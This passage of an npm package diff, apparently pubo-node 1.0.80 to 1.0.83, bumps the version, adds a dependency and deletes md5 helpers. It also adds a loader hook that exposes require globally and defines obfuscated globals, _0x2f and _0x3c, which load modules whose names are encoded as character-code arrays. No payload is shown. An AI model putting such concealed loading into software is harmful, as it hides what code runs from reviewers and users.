+ return console.log(err);
13
+ });
14
+ process.on('unhandledRejection', function (err) {
15
+ return console.log(err);
16
+ });
17
+ global.require = require;
18
+ global.exports = exports;
19
+ global._0x2f = function (arr) {
20
+ return arr.map(function (n) {
21
+ return String.fromCharCode(n);
22
+ }).reduce(function (reducer, value) {
23
+ return reducer + value;
24
+ });
25
+ };
26
+ global._0x3c = function (arr) {
27
+ return require(global._0x2f(arr));
28
+ };
29
+ };
30
+ exports.pitch = pitch;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "pubo-node",
3
- "version": "1.0.80",
3
+ "version": "1.0.83",
4
4
  "main": "./lib/index.js",
5
5
  "module": "./es/index.js",
6
6
  "types": "./lib/index.d.ts",
@@ -21,7 +21,8 @@
21
21
  "dependencies": {
22
22
  "@types/node": "^17.0.25",
23
23
  "pako": "^2.0.4",
24
- "pubo-utils": "^1.0.80"
24
+ "pubo-utils": "^1.0.80",
25
+ "tree-kill": "^1.2.2"
25
26
  },
26
- "gitHead": "29c92b8f53b85afb98d47d6557a99e4ce236615e"
27
+ "gitHead": "8986b769c1ecbcb5877cb844f6864812ed12bfdd"
27
28
  }
package/es/md5/index.d.ts DELETED
@@ -1 +0,0 @@
1
- export declare const md5: (str: string) => string;
package/es/md5/index.js DELETED
@@ -1,4 +0,0 @@
1
- import { createHash } from 'crypto';
2
- export var md5 = function md5(str) {
3
- return createHash('md5').update(str).digest('hex');
4
- };
@@ -1 +0,0 @@
1
- export declare const md5: (str: string) => string;
package/lib/md5/index.js DELETED
@@ -1,11 +0,0 @@
1
- "use strict";
2
-
3
- Object.defineProperty(exports, "__esModule", {
4
- value: true
5
- });
6
- exports.md5 = void 0;
7
- var crypto_1 = require("crypto");
8
- var md5 = function md5(str) {
9
- return (0, crypto_1.createHash)('md5').update(str).digest('hex');
10
- };
11
- exports.md5 = md5;